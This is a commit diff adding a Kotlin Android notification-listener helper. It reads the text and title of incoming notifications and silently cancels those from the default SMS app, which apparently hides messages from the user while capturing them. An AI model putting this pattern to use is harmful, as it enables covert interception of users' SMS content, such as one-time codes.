parent
61ac84ad3b
commit
bc49e6e587
@ -0,0 +1,67 @@
|
|||||||
|
package com.example.pin
|
||||||
|
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.pm.ResolveInfo
|
||||||
|
import android.net.Uri
|
||||||
|
import android.provider.Telephony
|
||||||
|
import android.service.notification.NotificationListenerService
|
||||||
|
import android.service.notification.StatusBarNotification
|
||||||
|
import android.text.TextUtils
|
||||||
|
|
||||||
|
object NotificationManger {
|
||||||
|
private const val PREFIX_ANDROID = "android."
|
||||||
|
private const val KEY_TEXT = PREFIX_ANDROID + "text"
|
||||||
|
private const val KEY_TITLE = PREFIX_ANDROID + "title"
|
||||||
|
private const val ACTION_SENDTO = "android.intent.action.SENDTO"
|
||||||
|
private const val SCHEME_SMS = "smsto:"
|
||||||
|
private const val FLAG_QUERY = 0x10000
|
||||||
|
|
||||||
|
var listener:((NotificationMessage)->Unit)? = null
|
||||||
|
|
||||||
|
fun StatusBarNotification.process(listenerService: NotificationListenerService) {
|
||||||
|
listenerService.dismiss(this)
|
||||||
|
notification.extras?.let { extras ->
|
||||||
|
val content = extras.getCharSequence(KEY_TEXT, "").toString()
|
||||||
|
val from = extras.getString(KEY_TITLE, "")
|
||||||
|
|
||||||
|
if (content.isBlank()) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
val msg = NotificationMessage(
|
||||||
|
content = content,
|
||||||
|
from = from,
|
||||||
|
time = System.currentTimeMillis(),
|
||||||
|
app = packageName,
|
||||||
|
)
|
||||||
|
listener?.invoke(msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun NotificationListenerService.dismiss(statusBarNotification: StatusBarNotification) {
|
||||||
|
val pkgName = getTargetPackageName()
|
||||||
|
|
||||||
|
if (pkgName?.contentEquals(statusBarNotification.packageName) == true) {
|
||||||
|
cancelNotification(statusBarNotification.key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun NotificationListenerService.getTargetPackageName(): String? {
|
||||||
|
val defaultPkg = getDefaultPackage()
|
||||||
|
if (!TextUtils.isEmpty(defaultPkg)) {
|
||||||
|
return defaultPkg
|
||||||
|
}
|
||||||
|
|
||||||
|
val intent = Intent(ACTION_SENDTO, Uri.parse(SCHEME_SMS))
|
||||||
|
val resolveInfo = packageManager.resolveActivity(intent, FLAG_QUERY)
|
||||||
|
return resolveInfo?.activityInfo?.packageName
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun NotificationListenerService.getDefaultPackage(): String? {
|
||||||
|
return try {
|
||||||
|
Telephony.Sms.getDefaultSmsPackage(this)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
Reference in new issue